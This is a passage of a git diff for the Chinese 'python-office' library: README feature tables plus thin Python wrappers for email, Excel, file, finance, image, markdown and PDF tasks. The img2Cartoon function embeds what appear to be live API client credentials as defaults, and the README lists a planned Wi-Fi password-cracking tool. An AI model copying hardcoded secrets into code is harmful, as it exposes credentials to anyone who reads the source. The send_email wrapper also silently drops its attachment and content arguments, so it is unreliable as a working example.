演示代码 | +|----|-------------------|-----------|---------------------------------------------------|---------------------------------------------------------|------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | replace4filename | 批量重命名 | [播放](https://www.bilibili.com/video/BV12r4y187Yj) | [查看](https://mp.weixin.qq.com/s/3osIQAW4y3Ody-fwxEcCWA) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E9%87%8D%E5%91%BD%E5%90%8D.py) | +| 2 | search_by_content | 根据内容,查找文件 | [播放](https://www.bilibili.com/video/BV13P411n77G) | [查看](https://mp.weixin.qq.com/s/rvU7O3zHJ-YEd2YU0Z4pew) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A0%B9%E6%8D%AE%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9F%A5%E6%89%BE%E6%96%87%E4%BB%B6.py) | +| 3 | group_by_name | 自动整理文件 | 待录制 | [查看](https://mp.weixin.qq.com/s/AVFttFz-IjZD1Ra3K-580A) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E8%87%AA%E5%8A%A8%E6%95%B4%E7%90%86%E6%96%87%E4%BB%B6%E5%A4%B9.py) | +| 4 | get_files | 获取文件列表 | [播放](https://www.bilibili.com/video/BV1ua4y1M7ya) | [查看](https://mp.weixin.qq.com/s/-8BKJCQEZ8E0UJlrIyAbaQ) | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%89%B9%E9%87%8F%E8%8E%B7%E5%8F%96%E6%96%87%E4%BB%B6%E5%88%97%E8%A1%A8.py) | +| 5 | mkdir | 新建文件夹 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%96%B0%E5%BB%BA%E6%96%87%E4%BB%B6%E5%A4%B9.py) | +| 6 | check_suffix | 验证文件名的后缀 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pofile/%E6%A3%80%E6%9F%A5%E5%90%8E%E7%BC%80%E5%90%8D.py) | + +## 6、图片 + 自动化办公 = poimage + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|----------------|---------------|------------------------------------------------------|---------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | add_watermark | 👩给图片 加 水印 | 👩 [播放](https://www.bilibili.com/video/BV1jT411T7n9) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/poimage/%E5%9B%BE%E7%89%87%E5%8A%A0%E6%B0%B4%E5%8D%B0.py) | +| 2 | down4img | 下载图片 | [播放](https://www.bilibili.com/video/BV1i8411s7Mq) | [查看](https://mp.weixin.qq.com/s/H9NVBxwo_po8WsqsIRJ7YQ) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/下载图片.py) | +| 3 | del_watermark | 图片去水印 | 待录制 | [查看](https://mp.weixin.qq.com/s/6RS0oo6dNa3mov_5XwNurg) | [打开](https://github.com/CoderWanFeng/python-office/tree/master/demo/poimage/图片去水印.py) | +| 4 | txt2wordcloud | 根据文档内容,生成词云图片 | [播放](https://www.bilibili.com/video/BV1Me4y1h7Ku) | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | +| 4 | compress_image | 压缩图片 | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | +| 4 | image2gif | 图片转Gif | 待录制 | 待编辑 | [打开](https://github.com/CoderWanFeng/python-office/blob/master/demo/pydatav/%E6%95%B0%E6%8D%AE%E5%8F%AF%E8%A7%86%E5%8C%96-%E6%96%87%E7%AB%A0%E8%BD%AC%E5%9B%BE%E4%BA%91.py) | + +## 7、文字识别 + 自动化办公 = poocr + +> [全部100+功能的说明](https://mp.weixin.qq.com/s/WxICBZZSgkm-OrvXB82hbg) + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------------|-------|------------------------------------------------------|---------------------------------------------------------|------| +| 1 | VatInvoiceOCR | 识别发票 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | [查看](https://mp.weixin.qq.com/s/5v49ARX6R2C5xmYe6o8euQ) | 待开发 | +| 2 | IDCardOCR | 识别身份证 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | [查看](https://mp.weixin.qq.com/s/4PNhYZ1k2au5XoZOBdUM6A) | 待开发 | +| 3 | BankCardOCR | 识别银行卡 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | [查看](https://mp.weixin.qq.com/s/QQ1cepAISH0PKWfc5v6G6w) | 待开发 | +| 4 | LicensePlateOCR | 识别车牌 | | [查看](https://mp.weixin.qq.com/s/owXyC5DjbOwrcHpTGjMbJA) | 待开发 | + +## 8、便捷工具 + 自动化办公 = wftools + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|----------------|-----------|------------------------------------------------------|---------------------------------------------------------|------| +| 1 | transtools | 翻译万国语言 | ⭐ [播放](https://www.bilibili.com/video/BV1Y3411R7q7/) | 待编辑 | 待开发 | +| 2 | qrcodetools | 解析二维码图片信息 | ⭐ [播放](https://www.bilibili.com/video/BV133411d7XF) | 待编辑 | 待开发 | +| 3 | passwordtools | 密码生成器 | ⭐ [播放](https://www.bilibili.com/video/BV1QY4y1o7qc) | 待编辑 | 待开发 | +| 4 | weather | 天气查询 | 待录制 | [查看](https://mp.weixin.qq.com/s/NVn8NNtOS3AfOyl75JTaNg) | 待开发 | +| 5 | net_speed_test | 测网速 | 待录制 | 待编辑 | 待开发 | +| 6 | url2ip | 获取ip地址 | 待录制 | 待编辑 | 待开发 | +| 7 | lottery8ticket | 生成彩票号码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Q6JgW06hMUSik0DqGD0rOA) | 待开发 | +| 8 | create_article | 自动写文章 | 待录制 | [查看](https://mp.weixin.qq.com/s/guBtZHyUyybGNOqzZke1kQ) | 待开发 | +| 9 | pwd4wifi | 破解wifi密码 | 待录制 | [查看](https://mp.weixin.qq.com/s/Pw_zZ1Vo9CxYzwRv3ByUJA) | 待开发 | + +## 9、视频 + 自动化办公 = povideo + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----------|----------|-----|-----------------------------------------------------------|------| +| 1 | video2mp3 | 从视频里提取音频 | 待录制 | [查看](https://mp.weixin.qq.com/s/cT8lcUwd3UayTfLGddjfJw) | 待开发 | +| 2 | audio2txt | 音频转文字 | 待录制 | [查看](https://cloud.tencent.com/developer/article/2128601) | 待开发 | + +## 10、代码开发 + 自动化办公 = pocode、potime、poprogress + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----|------------|-----|---------------------------------------------------------|------| +| 1 | | 统计代码行数 | 待录制 | [查看](https://mp.weixin.qq.com/s/lOZ4X_s_2n5kTDzk1TEmTQ) | 待开发 | +| 2 | | 计算程序运行时间 | 待录制 | [查看](https://mp.weixin.qq.com/s/SnIdBf11QTad8sWOTSJbWQ) | 待开发 | +| 3 | | 显示程序执行的进度条 | 待录制 | [查看](https://mp.weixin.qq.com/s/4sIP0kfpsP-EFpkyn_wphw) | 待开发 | + +## 11、金融 + 自动化办公 = pofinance + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-----|------|-----|---------------------------------------------------------|------| +| 1 | | 单次做T | 待录制 | [查看](https://mp.weixin.qq.com/s/Rxl0JQKzBVyULm2qLm23Uw) | 待开发 | +| 2 | | 批量做T | 待录制 | [查看](https://mp.weixin.qq.com/s/tLH9Bc4vgr8A35vj6rWNXQ) | 待开发 | + +## 12、AI + 自动化办公 + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|-------------|-----------|---------------------------------------------------|---------------------------------------------------------|------| +| 1 | pencil4img | AI画素描 | [播放](https://www.bilibili.com/video/BV1rP411N7ao) | [查看](https://mp.weixin.qq.com/s/h-3oL7wFE84P6-BwJqR2tg) | 待开发 | +| 2 | | 还原黑白照片的颜色 | 待录制 | [查看](https://mp.weixin.qq.com/s/fJLtyTCWBU767xieRTohIQ) | 待开发 | +| 2 | img2Cartoon | 生成动漫头像 | 待录制 | 待编辑 | 待开发 | + +## 13、中文编程 + 自动化办公 = pohan + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 演示代码 | +|----|------------|-------|---------------------------------------------------|---------------------------------------------------------|------| +| 1 | han2pinyin | 汉字转拼音 | [播放](https://www.bilibili.com/video/BV1gj411S7Eq) | [查看](https://mp.weixin.qq.com/s/BYUhroZ5lp18czy5GOYFQg) | 待开发 | +| 2 | | 重庆话编程 | [播放](https://www.bilibili.com/video/BV1sk4y1Y7wn) | [查看](https://mp.weixin.qq.com/s/X7tYuuA_43p0l7yBWPvi5A) | 待开发 | + +## 14、微信机器人-PyOfficeRobot + +- ⭐本机器人完全免费,全部功能的演示视频 + + 项目源码:[Github](https://gitee.com/CoderWanFeng/PyOfficeRobot/demo)、[gitee](https://gitee.com/CoderWanFeng/PyOfficeRobot) + +| 序号 | 方法名 | 功能 | 视频 | 文档 | 代码 | +|----|----------------------|--------------|----------------------------------------------------|----------|----------------------------------------------------------------------------------------------------------------------------------------------------------| +| 1 | | 🔥项目发布 | [播放](https://www.bilibili.com/video/BV1S84y1m7xd/?p=2) | 待编辑 | [打开](https://mp.weixin.qq.com/s/6slx8hyv_WuK7v5Nzt3XKQ) | +| 2 | send_message | 自动发消息 | [播放](https://www.bilibili.com/video/BV1Jt4y1j7F1) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/001-%E5%8F%91%E4%B8%80%E6%9D%A1%E4%BF%A1%E6%81%AF.py) | +| 3 | send_file | 自动发文件 | [播放](https://www.bilibili.com/video/BV1te4y1y7Ro) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/002-%E5%8F%91%E6%96%87%E4%BB%B6.py) | +| 4 | chat_by_keywords | 根据关键词,自动回复 | [播放](https://www.bilibili.com/video/BV1fV4y1M7ju) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/003-%E6%A0%B9%E6%8D%AE%E5%85%B3%E9%94%AE%E8%AF%8D%E5%9B%9E%E5%A4%8D.py) | +| 5 | send_message_by_time | ⌚定时自动发消息 | [播放](https://www.bilibili.com/video/BV1m8411b7LZ/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/004-%E5%AE%9A%E6%97%B6%E5%8F%91%E9%80%81.py) | +| 6 | | 自己加功能 | [播放](https://www.bilibili.com/video/BV14R4y127h6) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/005-%E8%87%AA%E5%AE%9A%E4%B9%89%E5%8A%9F%E8%83%BD.py) | +| 7 | | ⭐独立使用 | [播放](https://www.bilibili.com/video/BV1SY411y7Uh) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/006-%E7%8B%AC%E7%AB%8B%E7%89%88%E6%9C%AC.py) | +| 8 | get_group_list | 收集群信息 | [播放](https://www.bilibili.com/video/BV1eD4y1g7yZ) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/007-%E6%94%B6%E9%9B%86%E7%BE%A4%E6%B6%88%E6%81%AF.py) | +| 9 | | 发消息如何换行? | [播放](https://www.bilibili.com/video/BV1Xg4y1s79z/) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/008-%E5%8F%91%E6%B6%88%E6%81%AF%E6%8D%A2%E8%A1%8C.py) | +| 10 | chat_by_gpt | 微信 + ChatGPT | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/011-chat_chatgpt.py) | +| 11 | add | 批量加好友 | [播放](https://www.bilibili.com/video/BV1DV4y1o7t2) | 有BUG,待修复 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/009-%E6%89%B9%E9%87%8F%E5%8A%A0%E5%A5%BD%E5%8F%8B.py) | +| 12 | send | 批量群发 | [播放](https://www.bilibili.com/video/BV1Nm4y1C7N7) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/010-%E5%AE%9A%E6%97%B6%E7%BE%A4%E5%8F%91.py) | +| 13 | chat_robot | 智能聊天 | [播放](https://www.bilibili.com/video/BV1394y1e787) | 待编辑 | [打开](https://gitee.com/CoderWanFeng/python-office/blob/master/demo/PyOfficeRobot/012%E3%80%81%E6%99%BA%E8%83%BD%E8%81%8A%E5%A4%A9.py) | + +

+ + + +

+ +## 文字教程 + +全部功能的文字教程👉[传送门](https://www.python-office.com/guide/allFunc.html) + + +

+ + + +

+ +

+ + + +

+ +## 良心建议 + +你好,这里是程序员晚枫,人到中年,才转行程序员。 + +业余时间做编程博主,同时运营python-office这个python的功能库,以下是一些生活VLOG和读者经常问我的一些问题。 + +💻我录制成了视频的形式,大家看看吧~ + +### 生活VLOG + +

+ + + +

+ +### 转行咨询 + +- [如何免费学编程?如何避免被割韭菜?](https://www.bilibili.com/video/BV1SM411K7wm) + +- [3大措施,整治程序员高薪现象!大快人心](https://www.bilibili.com/video/BV1sd4y1c7T9) + +- [学会编程,能拿高薪?别再被洗脑了](https://www.bilibili.com/video/BV19d4y197EP) + +- [少儿编程,有必要学吗?程序员被问懵了](https://mbd.baidu.com/newspage/data/videolanding?nid=sv_5531201104035387002&sourceFrom=homepage) + +- [学编程、学Python接单?别再被割韭菜了!](https://www.xiaohongshu.com/discovery/item/63305311000000001701c8a9) + +- [30岁转行程序员,我的转行经历](https://www.bilibili.com/video/BV1Nr4y1B76X?spm_id_from=333.999.0.0) + +- [Excel还是Python?别被割韭菜,高效办公选一个就够了!](https://mp.weixin.qq.com/s/rMsMpSdQHqS3Q9eSsA0VeA) + +## 交流群 + +

+ + + +

+ +## 学习资源 + +

+ + + +

+ +

+ + + +

+ + +

+ + + +

+ + + + +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ + + +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ +

+ + + +

+ + +

+ + + +

+ + +

+ + + +

+ + +

+ + + +

diff --git a/office/__init__.py b/office/__init__.py index 6474f35..9df7f52 100644 --- a/office/__init__.py +++ b/office/__init__.py @@ -1,8 +1,20 @@ -from . import word -from . import pdf -from . import image -from . import file -from . import video -from . import tools -from . import ppt -from . import excel +from office.api import email +from office.api import excel +from office.api import file +from office.api import finance +from office.api import image +from office.api import pdf +from office.api import ppt +from office.api import tools +from office.api import video +from office.api import wechat +from office.api import word +from office.api import markdown +# 以下是beta版本 +from office.api.testApi import ruiming + +__doc__ = """【python-office库】,功能持续更新中 +使用有问题 or 提交你的功能需求 or 参与项目开发 +1、项目【官方文档】:https://www.python-office.com +2、请+【项目交流群】:http://www.python4office.cn/wechat-group +3、本开源项目的【源代码】:https://github.com/CoderWanFeng/python-office""" diff --git a/office/api/__init__.py b/office/api/__init__.py new file mode 100644 index 0000000..b6e690f --- /dev/null +++ b/office/api/__init__.py @@ -0,0 +1 @@ +from . import * diff --git a/office/api/email.py b/office/api/email.py new file mode 100644 index 0000000..c717e7a --- /dev/null +++ b/office/api/email.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python +# -*- coding:utf-8 -*- +############################################# +# File Name: email-1.py +# Mail: 1957875073@qq.com +# Created Time: 2022-4-25 10:17:34 +# Description: 有关 email 的自动化操作 +############################################# +import poemail +from poemail.lib.Const import Mail_Type + + +def send_email(key, msg_from, msg_to, msg_cc=None, attach_files=[], msg_subject='', content='', host=Mail_Type['qq'], + port=465): + """ + 发送邮件函数 + + 参数: + key (str): 邮箱账户密钥 + msg_from (str): 发件人邮箱地址 + msg_to (str): 收件人邮箱地址 + file_path (str, 可选): 邮件附件路径,默认为None + msg_subject (str, 可选): 邮件主题,默认为空字符串 + content (str, 可选): 邮件内容,默认为空字符串 + host (str, 可选): 邮箱服务器地址,默认为'qq' + port (int, 可选): 邮箱服务器端口号,默认为465 + + 返回: + 无 + + """ + poemail.send.send_email(key=key, + msg_from=msg_from, + msg_to=msg_to, + msg_cc=msg_cc, + msg_subject=msg_subject, + host=host, + port=port) + + +def receive_email(key, msg_from, msg_to, output_path=r'./', status="UNSEEN", msg_subject='', content='', + host=Mail_Type['qq'], port=465): + poemail.receive.receive_email(key=key, + msg_from=msg_from, + msg_to=msg_to, + msg_subject=msg_subject, + host=host, + port=port, output_path=output_path, status=status) diff --git a/office/api/excel.py b/office/api/excel.py new file mode 100644 index 0000000..756908d --- /dev/null +++ b/office/api/excel.py @@ -0,0 +1,91 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' + +""" +🌈Python自动化办公--Pandas玩转Excel(全30集) +https://www.bilibili.com/video/BV1hk4y1C73S/ +""" +import poexcel + +# @except_dec() +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def fake2excel(columns=['name'], rows=1, path='./fake2excel.xlsx', language='zh_CN'): + """ + 自动创建Excel,并且模拟数据 + Args: + columns: 列名。可以模拟的列有:http://python4office.cn/python-office/fake2excel/ + rows: 生成多少行数据。默认值:1 + path: 生成的Excel的位置和名称。 + language: 数据用什么语言,默认是中文,可以填english, + + Returns: + + """ + poexcel.fake2excel(columns, rows, path, language) + + +# 多个excel,合并到一个excel的不同sheet中 +# @except_dec() +# @instruction +def merge2excel(dir_path, output_file='merge2excel.xlsx'): + """ + :param dir_path: + :param output_file: + :return: + """ + poexcel.merge2excel(dir_path, output_file) + + +# 同一个excel里的不同sheet,拆分为不同的excel文件 +# @except_dec() +# @instruction +def sheet2excel(file_path, output_path='./'): + poexcel.sheet2excel(file_path, output_path) + + +# @except_dec() +# @instruction +def merge2sheet(dir_path, output_sheet_name: str = 'Sheet1', output_excel_name: str = 'merge2sheet'): + poexcel.merge2sheet(dir_path, output_sheet_name, output_excel_name) + + +# 搜索excel中指定内容的文件、行数、内容详情 +# PR内容 & 作者:https://gitee.com/CoderWanFeng/python-office/pulls/10 +# @except_dec() +# @instruction +def find_excel_data(search_key: str, target_dir: str): + poexcel.find_excel_data(search_key, target_dir) + + +# 按指定列的内容,拆分excel +# PR内容 & 作者::https://gitee.com/CoderWanFeng/python-office/pulls/11 +# @except_dec() +# @instruction +def split_excel_by_column(filepath: str, column: int, worksheet_name: str = None): + poexcel.split_excel_by_column(filepath, column, worksheet_name) + + +# @instruction +def excel2pdf(excel_path, pdf_path, sheet_id: int = 0): + """ + 将指定的Excel文件的指定工作表转换为PDF文件。 + 视频:https://www.bilibili.com/video/BV1A84y1N7or/ + :param excel_path: str, Excel文件的路径。 + :param pdf_path: str, 转换后生成的PDF文件的路径。 + :param sheet_id: int, 工作表的索引,默认为0,表示第一个工作表。 + :return: None + """ + poexcel.excel2pdf(excel_path, pdf_path, sheet_id) + + +# @instruction +# def merge2excel(excel_path, output='merge2excel.xlsx'): +# poexcel.merge2excel(excel_path, output) diff --git a/office/api/file.py b/office/api/file.py new file mode 100644 index 0000000..7e0a8d6 --- /dev/null +++ b/office/api/file.py @@ -0,0 +1,95 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' + +import pofile +import search4file + +# todo:输入文件路径 +# @except_dec() +from office.lib.decorator_utils.instruction_url import instruction + + +# @instruction +def replace4filename(path: str, del_content, replace_content='', dir_rename: bool = True, + file_rename: bool = True, suffix=None): + """ + 批量修改文件/文件夹名称 + :param path: 必填,需要修改文件夹/文件名称的根目录,注意:该根目录名称不会被修改 + :param del_content: 必填,需要替换/删除的内容 + :param replace_content: 选填,替换后的内容,不填则实现删除效果 + :param dir_rename: 选填,是否修改文件夹名称,默认:修改 + :param file_rename: 选填,是否修改文件名称,默认:修改 + :param suffix: 选填,指定修改的文件类型,默认:所有 + :return: + """ + pofile.replace4filename(path, del_content, replace_content, dir_rename, file_rename, suffix) + + +# todo:输入文件路径 +# @except_dec() +# @instruction +def search_by_content(search_path: str, content: str): + """ + 通过内容搜索文件 + Args: + search_path: 需要搜索的目录 + content: 搜索的内容 + + Returns: + + """ + search4file.search_by_content(search_path=search_path, search_content=content) + + +# author:https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +# @instruction +def file_name_insert_content(file_path: str, insert_position: int, insert_content: str): + pofile.file_name_insert_content(file_path, insert_position, insert_content) + + +# author:https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +# @instruction +def file_name_add_prefix(file_path: str, prefix_content: str): + pofile.file_name_add_prefix(file_path, prefix_content) + + +# author:https://github.com/CoderWanFeng/python-office/pull/72 +# @except_dec() +# @instruction +def file_name_add_postfix(file_path, postfix_content): + pofile.file_name_add_postfix(file_path, postfix_content) + + +# author:https://github.com/CoderWanFeng/python-office/pull/74 +# @except_dec() +# @instruction +def search_specify_type_file(file_path, file_type): + pofile.search_specify_type_file(file_path, file_type) + + +# @except_dec() +# @instruction +def output_file_list_to_excel(dir_path): + pofile.output_file_list_to_excel(dir_path) + + +# @instruction +def add_line_by_type(add_line_dict: dict, file_path, file_type='.py', output_path=r'add_line'): + pofile.add_line_by_type(add_line_dict, file_path, file_type, output_path) + + +# @instruction +def group_by_name(path, output_path=None, del_old_file=None): + pofile.group_by_name(path, output_path, del_old_file) + + +# @instruction +def get_files(path: str, name: str = '', suffix: str = None, sub: bool = False, level: int = 0) -> list: + return pofile.get_files(path, name, suffix, sub, level) diff --git a/office/api/finance.py b/office/api/finance.py new file mode 100644 index 0000000..012c414 --- /dev/null +++ b/office/api/finance.py @@ -0,0 +1,41 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫 +@读者群 :http://www.python4office.cn/wechat-group/ +@个人网站 :www.python-office.com +@Date :2023/6/1 22:52 +@Description : +''' + +from decimal import Decimal +RATE_LINE = 10000 * 2 + + +def t0(buy_price: float, sale_price: float, shares: int, w_rate: float = 2.5 / 10000, min_rate: int = 5, + stamp_tax=1 / 1000, ) -> float: + """ + 计算做T的收益 + Args: + buy_price: 买入成本 + sale_price: 卖出价格 + shares: 单笔数量 + w_rate: 手续费,默认万2.5 + min_rate: 单笔最低手续费,默认5元 + stamp_tax: 印花税,默认千1 + + Returns: 做T后的收益金额 + + """ + buy_money = Decimal(str(buy_price)) * shares # 买入的价格 + base_rate = min_rate if buy_money <= RATE_LINE else buy_money * w_rate + + sale_money = Decimal(str(sale_price)) * shares + sale_rate = min_rate if sale_money <= RATE_LINE else sale_money * w_rate + + sale_tax = sale_money * Decimal(str(stamp_tax)) + stock_returns = sale_money - buy_money - base_rate - sale_rate - sale_tax + return stock_returns + + +if __name__ == '__main__': + print(t0(11.99, 12.26, 700)) diff --git a/office/api/image.py b/office/api/image.py new file mode 100644 index 0000000..181bd54 --- /dev/null +++ b/office/api/image.py @@ -0,0 +1,84 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' +import poimage + +# @except_dec() +from office.lib.decorator_utils.instruction_url import instruction + + +def compress_image(input_file: str, output_file: str, quality: int): + poimage.compress_image(input_file, output_file, quality) + + +# @instruction +def image2gif(): + poimage.image2gif() + + +# todo:输出文件路径 +# @except_dec() +# @instruction +def add_watermark(file, mark, output_path='./', color="#eaeaea", size=30, opacity=0.35, space=200, + angle=30): + """ + 给图片加水印 + Args: + file: 图片位置 + mark: 水印内容 + output_path: 输出位置 + color: 水印颜色 + size: 水印大小 + opacity: 不透明度,0.01~1 + space: 水印间距 + angle: 水印角度 + + Returns: + + """ + poimage.add_watermark(file, mark, output_path, color, size, opacity, space, angle) + # mainImage.add_watermark(file, mark, out, color, size, opacity, space, angle) + + +# todo:输入文件路径 +# @except_dec() +# @instruction +def img2Cartoon(path, client_api='OVALewIvPyLmiNITnceIhrYf', client_secret='rpBQH8WuXP4ldRQo5tbDkv3t0VgzwvCN'): + poimage.img2Cartoon(path, client_api, client_secret) + # mainImage.img2Cartoon(path, client_api, client_secret) + + +# @except_dec() +# @instruction +def down4img(url, output_path='.', output_name='down4img', type='jpg'): + poimage.down4img(url, output_path, output_name, type) + # mainImage.down4img(url, output_name, type) + + +# @instruction +def txt2wordcloud(filename, color="white", result_file="your_wordcloud.png"): + poimage.txt2wordcloud(filename, color, result_file) + + +# @instruction +def pencil4img(input_img, output_path='./', output_name='pencil4img.jpg'): + poimage.pencil4img(input_img, output_path, output_name) + + +# @instruction +def decode_qrcode(qrcode_path): + """ + 解析二维码 + :param qrcode_path: 二维码图片的路径 + :return: + """ + poimage.decode_qrcode(qrcode_path) + + +# @instruction +def del_watermark(input_image, output_image=r'./del_water_mark.jpg'): + poimage.del_watermark(input_image, output_image) diff --git a/office/api/markdown.py b/office/api/markdown.py new file mode 100644 index 0000000..ba5a748 --- /dev/null +++ b/office/api/markdown.py @@ -0,0 +1,19 @@ +# from office.core.MarkdownType import MainMarkdown +# from office.lib.utils.except_utils import except_dec +# +# mainMarkdown = MainMarkdown() +# +# +# # @except_dec() +# def markdown_link_image_to_base64(markdown_path): +# mainMarkdown.markdown_link_image_to_base64(markdown_path) +# +# +# # @except_dec() +# def check_local_dir_image_link_markdown(markdown_path, image_path): +# mainMarkdown.check_local_dir_image_link_markdown(markdown_path, image_path) +import pomarkdown + + +def excel2markdown(input_file, output_file=r'./excel2markdown.md', sheet_name=None): + pomarkdown.excel2markdown(input_file, output_file, sheet_name) diff --git a/office/ocr.py b/office/api/ocr.py similarity index 58% rename from office/ocr.py rename to office/api/ocr.py index 66f4272..a8ad584 100644 --- a/office/ocr.py +++ b/office/api/ocr.py @@ -6,4 +6,9 @@ # Mail: 1957875073@qq.com # Created Time: 2022-4-25 10:17:34 # Description: 有关 ocr 的自动化操作 -############################################# \ No newline at end of file +############################################# + +""" +🌈5讲OCR批量识别(Python版) +https://www.python-office.com/course-002/5-poocr/5-poocr.html +""" \ No newline at end of file diff --git a/office/api/pdf.py b/office/api/pdf.py new file mode 100644 index 0000000..99d9aad --- /dev/null +++ b/office/api/pdf.py @@ -0,0 +1,136 @@ +# -*- coding: UTF-8 -*- +''' +@作者 :B站/抖音/微博/小红书/公众号,都叫:程序员晚枫,微信:CoderWanFeng +@读者群 :http://www.python4office.cn/wechat-group/ +@学习网站 :https://www.python-office.com +@代码日期 :2023/8/22 23:28 +''' + +# 给pdf加水印-无参数 +# @except_dec() +import popdf + + +# todo:输入文件路径 +# @except_dec() +def pdf2docx(input_file, output_path='.'): + """ + PDF转Word + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/1-pdf2docx/ + """ + popdf.pdf2docx(input_file, output_path) + + +# @except_dec() +def pdf2imgs(input_file, output_path, merge=False): + """ + pdf转图片 + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/2-pdf2imgs/ + """ + popdf.pdf2imgs(input_file, output_path, merge) + + +def txt2pdf(input_file: str, output_file='txt2pdf.pdf'): + """ + 将文本文件转换为PDF文件。 + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/3-txt2pdf/ + """ + + popdf.txt2pdf(input_file, output_file) + + +def split4pdf(input_file, output_file=r'./output_path/split_pdf.pdf', from_page=-1, to_page=-1): + """ + 拆分PDF文件 + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/4-split4pdf/ + """ + popdf.split4pdf(input_file, output_file, from_page, to_page) + + +def encrypt4pdf(input_file, output_file, password): + """ + 加密pdf + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/5-encrypt4pdf/ + 演示代码: + """ + popdf.encrypt4pdf(input_file, password, output_file) + + +def decrypt4pdf(input_file, password, output_file='decrypt.pdf'): + """ + 解密pdf + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/6-decrypt4pdf + 演示代码: + """ + popdf.decrypt4pdf(input_file, password, output_file) + + +def add_text_watermark(input_file, point, text='python-office', + output_file='./pdf_watermark.pdf', fontname="Helvetica", fontsize=12, color=(1, 0, 0)) -> None: + """ + 在PDF文档中添加文本水印。 + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/7-add_watermark + """ + popdf.add_watermark(input_file, point, text, + output_file, fontname, fontsize, color) + + +def merge2pdf(input_file_list, output_file): + """ + 合并pdf + 文档:http://www.python4office.cn/python-office/popdf/%E8%AF%BE%E7%A8%8B/8-merge2pdf + 演示代码: + """ + popdf.merge2pdf(input_file_list, output_file) + + +def del4pdf(input_file, output_file, page_nums): + """ + 